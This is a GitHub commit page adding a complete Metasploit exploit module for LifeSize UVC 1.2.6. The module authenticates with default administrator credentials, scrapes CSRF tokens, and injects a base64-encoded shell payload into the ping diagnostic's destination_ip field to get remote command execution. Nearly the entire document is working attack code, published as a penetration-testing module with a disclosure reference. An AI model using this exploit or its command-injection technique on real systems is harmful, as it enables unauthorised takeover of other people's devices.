Skip to content

Commit 0c3a535

Browse files
committed
Land rapid7#3133 - LifeSize UVC Authenticated RCE via Ping
2 parents 8082884 + 53b25c8 commit 0c3a535

File tree

1 file changed

+140
-0
lines changed

1 file changed

+140
-0
lines changed
Lines changed: 140 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,140 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info={})
14+
super(update_info(info,
15+
'Name' => "LifeSize UVC Authenticated RCE via Ping",
16+
'Description' => %q{
17+
When authenticated as an administrator on LifeSize UVC 1.2.6, an attacker
18+
can abuse the ping diagnostic functionality to achieve remote command
19+
execution as the www-data user (or equivalent)
20+
},
21+
'License' => MSF_LICENSE,
22+
'Author' =>
23+
[
24+
'Brandon Perry <bperry.volatile[at]gmail.com>' #discovery/metasploit module
25+
],
26+
'References' =>
27+
[
28+
['EDB', '32437']
29+
],
30+
'Platform' => ['unix'],
31+
'Arch' => ARCH_CMD,
32+
'Targets' =>
33+
[
34+
['LifeSize UVC version <= 1.2.6', {}]
35+
],
36+
'Privileged' => false,
37+
'Payload' =>
38+
{
39+
'DisableNops' => true,
40+
'Compat' =>
41+
{
42+
'PayloadType' => 'cmd',
43+
'RequiredCmd' => 'python'
44+
}
45+
},
46+
'DisclosureDate' => "Mar 21 2014",
47+
'DefaultTarget' => 0))
48+
49+
register_options(
50+
[
51+
Opt::RPORT(443),
52+
OptBool.new('SSL', [true, 'Use SSL', true]),
53+
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']),
54+
OptString.new('USERNAME', [true, 'The username to authenticate with', 'administrator']),
55+
OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin123'])
56+
], self.class)
57+
end
58+
59+
def exploit
60+
res = send_request_cgi({
61+
'uri' => normalize_uri(target_uri.path, 'accounts', 'login/')
62+
})
63+
64+
if !res or !res.body
65+
fail_with("Server did not respond in an expected way")
66+
end
67+
68+
if res.code != 200
69+
fail_with("Did not get a 200 response, perhaps the server isn't on an SSL port")
70+
end
71+
72+
token = /name='csrfmiddlewaretoken' value='(.*)'/.match(res.body)
73+
74+
if token.length < 2
75+
fail_with("Could not find token on page.")
76+
end
77+
78+
token = token[1]
79+
80+
post = {
81+
'csrfmiddlewaretoken' => token,
82+
'username' => datastore['USERNAME'],
83+
'password' => datastore['PASSWORD']
84+
}
85+
86+
#referer is required
87+
res = send_request_cgi({
88+
'uri' => normalize_uri(target_uri.path, 'accounts/'),
89+
'method' => 'POST',
90+
'vars_post' => post,
91+
'headers' => {
92+
'Referer' => 'https://' + datastore['RHOST'] + '/accounts/'
93+
},
94+
'cookie' => 'csrftoken=' + token
95+
})
96+
97+
if !res
98+
fail_with("Server did not respond in an expected way")
99+
end
100+
101+
#we want a 302, 200 means we are back at login page
102+
if res.code == 200
103+
fail_with("Authentication failed. Please check your username and password.")
104+
end
105+
106+
cookie = res.get_cookies
107+
108+
new_cookie = 'csrftoken=' + token + '; ' + cookie
109+
110+
res = send_request_cgi({
111+
'uri' => normalize_uri(target_uri.path, 'server-admin', 'operations', 'diagnose', 'ping/'),
112+
'cookie' => new_cookie
113+
})
114+
115+
if !res or !res.body
116+
fail_with("Server did not respond in an expected way")
117+
end
118+
119+
token = /name='csrfmiddlewaretoken' value='(.*)'/.match(res.body)
120+
token = token[1]
121+
122+
new_cookie = 'csrftoken=' + token + '; ' + cookie
123+
124+
pay = 'csrfmiddlewaretoken='+token
125+
pay << '&source_ip=' + datastore['RHOST']
126+
pay << '&destination_ip=go`echo ' + Rex::Text.encode_base64(payload.encoded) + '|base64 --decode|sh`ogle.com'
127+
128+
#referer is required
129+
res = send_request_cgi({
130+
'uri' => normalize_uri(target_uri.path, 'server-admin', 'operations', 'diagnose', 'ping/'),
131+
'method' => 'POST',
132+
'headers' => {
133+
'Referer' => 'https://' + datastore['RHOST'] + '/server-admin/operations/diagnose/ping/'
134+
},
135+
'cookie' => new_cookie,
136+
'data' => pay
137+
})
138+
end
139+
end
140+

0 commit comments

Comments
 (0)